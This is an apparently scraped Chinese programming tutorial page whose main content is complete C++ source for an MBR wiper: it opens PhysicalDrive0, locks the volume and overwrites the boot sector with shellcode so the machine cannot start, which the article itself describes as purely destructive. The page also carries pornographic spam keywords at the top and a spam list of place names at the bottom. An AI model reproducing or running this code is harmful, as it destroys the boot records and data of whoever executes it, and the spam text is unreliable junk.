最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

C++破壞MBR的代碼

 更新時(shí)間:2014年10月12日 11:36:13   投稿:shichen2014  
這篇文章主要介紹了C++破壞MBR的代碼,涉及到對硬盤的主引導(dǎo)記錄的破壞性操作,具有一定的參考價(jià)值,需要的朋友可以參考下

本文實(shí)例講述了C++破壞MBR的代碼,該源碼只有破壞作用,使系統(tǒng)無法進(jìn)入。僅供大家參考借鑒之用。請勿用于非法目的。

源碼來源于網(wǎng)上。具體代碼如下:

復(fù)制代碼 代碼如下:
#include <Windows.h> 
#include <stdio.h> 
 
//shellcode隨便寫了點(diǎn) 能破壞MBR,無法進(jìn)入系統(tǒng) 
unsigned char   scode[]= 
    "\xb8\x12\x00" 
    "\xcd\x10\xbd" 
    "\x18\x7c\xb9"; 
 
DWORD writeMBR() 

    DWORD dwBytesReturned; 
    BYTE pMBR[512]={0}; 
 
    //將破壞代碼寫入變量pMBR 
    memcpy(pMBR, scode, sizeof(scode)); 
    pMBR[510]=0x55; 
    pMBR[511]=0xaa; 
 
    //打開物理磁盤 
    HANDLE hDevice = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); 
    if (hDevice == INVALID_HANDLE_VALUE) 
    { 
        printf("createfile failed..."); 
        return -1; 
    } 
 
    //鎖定卷,使用FSCTL_LOCK_VOLUME時(shí),以下有幾個(gè)參數(shù)設(shè)為NULL,0; 
    /*Parameters
    hDevice
    A handle to the volume to be locked. To retrieve a device handle, call the CreateFile function. 
 
    dwIoControlCode
    The control code for the operation. Use FSCTL_LOCK_VOLUME for this operation. 
 
    lpInBuffer
    Not used with this operation; set to NULL.
 
    nInBufferSize
    Not used with this operation; set to zero.
 
    lpOutBuffer
    Not used with this operation; set to NULL.
 
    nOutBufferSize
    Not used with this operation; set to zero.
 
    lpBytesReturned
    A pointer to a variable that receives the size of the data stored in the output buffer, in bytes. */ 
 
 
    DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL); 
    //寫入磁盤文件  
    WriteFile(hDevice, pMBR, 512, &dwBytesReturned, NULL); 
    DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL); 
    return 0; 

 
int main(int argc, char* argv[]) 

    writeMBR(); 
    return 0; 
}

希望本文所述對大家的C++程序設(shè)計(jì)有所幫助。

相關(guān)文章

  • 使用C++實(shí)現(xiàn)位圖處理

    使用C++實(shí)現(xiàn)位圖處理

    本文介紹了如何使用C++語言處理位圖圖像,包括讀取、修改、保存等操作。通過具體的代碼示例,讀者可以學(xué)習(xí)到如何利用C++中的位運(yùn)算、數(shù)組和文件操作等知識(shí)點(diǎn)完成位圖處理任務(wù)。同時(shí),本文也提供了一些常用的圖像處理算法供讀者參考,幫助讀者更好地理解位圖處理過程
    2023-04-04
  • 類成員函數(shù)的重載、覆蓋與隱藏之間的區(qū)別總結(jié)

    類成員函數(shù)的重載、覆蓋與隱藏之間的區(qū)別總結(jié)

    以下是對類成員函數(shù)的重載、覆蓋與隱藏之間的區(qū)別進(jìn)行了詳細(xì)的總結(jié)分析,需要的朋友可以過來參考下。希望對大家有所幫助
    2013-10-10
  • C語言結(jié)構(gòu)體(struct)常見使用方法(細(xì)節(jié)問題)

    C語言結(jié)構(gòu)體(struct)常見使用方法(細(xì)節(jié)問題)

    這篇文章主要介紹了C語言結(jié)構(gòu)體(struct)常見使用方法(細(xì)節(jié)問題),需要的朋友可以參考下
    2017-03-03
  • C++的命名空間詳解

    C++的命名空間詳解

    這篇文章主要介紹了C++編程中的命名空間基本知識(shí)講解,包括對C++中內(nèi)聯(lián)命名空間新特性的介紹,需要的朋友可以參考下
    2021-09-09
  • C++實(shí)現(xiàn)遞歸函數(shù)的方法

    C++實(shí)現(xiàn)遞歸函數(shù)的方法

    在本篇內(nèi)容里小編給大家分享了關(guān)于C++實(shí)現(xiàn)遞歸函數(shù)的教學(xué)步驟,需要的朋友跟著參考下。
    2018-12-12
  • C++算法與泛型算法(algorithm、numeric)

    C++算法與泛型算法(algorithm、numeric)

    這篇文章主要介紹了C++算法與泛型算法(algorithm、numeric),文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2020-02-02
  • C語言簡明講解三目運(yùn)算符和逗號(hào)表達(dá)式的使用

    C語言簡明講解三目運(yùn)算符和逗號(hào)表達(dá)式的使用

    三目運(yùn)算符,又稱條件運(yùn)算符,它是唯一有3個(gè)操作數(shù)的運(yùn)算符,有時(shí)又稱為三元運(yùn)算符。三目運(yùn)算符的結(jié)合性是右結(jié)合的;逗號(hào)表達(dá)式,是c語言中的逗號(hào)運(yùn)算符,優(yōu)先級(jí)別最低,它將兩個(gè)及其以上的式子聯(lián)接起來,從左往右逐個(gè)計(jì)算表達(dá)式,整個(gè)表達(dá)式的值為最后一個(gè)表達(dá)式的值
    2022-04-04
  • C++實(shí)現(xiàn)線程池的簡單方法示例

    C++實(shí)現(xiàn)線程池的簡單方法示例

    這篇文章主要給大家介紹了關(guān)于C++實(shí)現(xiàn)線程池的簡單方法,文中通過示例代碼介紹的非常詳細(xì),對大家學(xué)習(xí)或者使用C++具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面來一起學(xué)習(xí)學(xué)習(xí)吧
    2020-05-05
  • C++多線程編程簡單實(shí)例

    C++多線程編程簡單實(shí)例

    本文給大家分享的是C++多線程編程簡單實(shí)例,由于C++本身沒有多線程機(jī)制,在windows下我們使用調(diào)用SDK win32 api來實(shí)現(xiàn),示例都很簡單,講解的也很詳細(xì),推薦給大家。
    2015-03-03
  • C++實(shí)現(xiàn)LeetCode(57.插入?yún)^(qū)間)

    C++實(shí)現(xiàn)LeetCode(57.插入?yún)^(qū)間)

    這篇文章主要介紹了C++實(shí)現(xiàn)LeetCode(57.插入?yún)^(qū)間),本篇文章通過簡要的案例,講解了該項(xiàng)技術(shù)的了解與使用,以下就是詳細(xì)內(nèi)容,需要的朋友可以參考下
    2021-07-07

最新評論

博客| 岫岩| 建瓯市| 眉山市| 平舆县| 南平市| 周至县| 渝中区| 长汀县| 本溪| 青海省| 阳新县| 吉木乃县| 上高县| 淄博市| 贺州市| 剑川县| 东光县| 清远市| 白朗县| 抚宁县| 巴林右旗| 黄平县| 虹口区| 都江堰市| 台北市| 彩票| 琼结县| 临夏县| 泸西县| 玉田县| 嘉善县| 武定县| 石渠县| 武清区| 汪清县| 兴和县| 博客| 阳江市| 广宁县| 泊头市|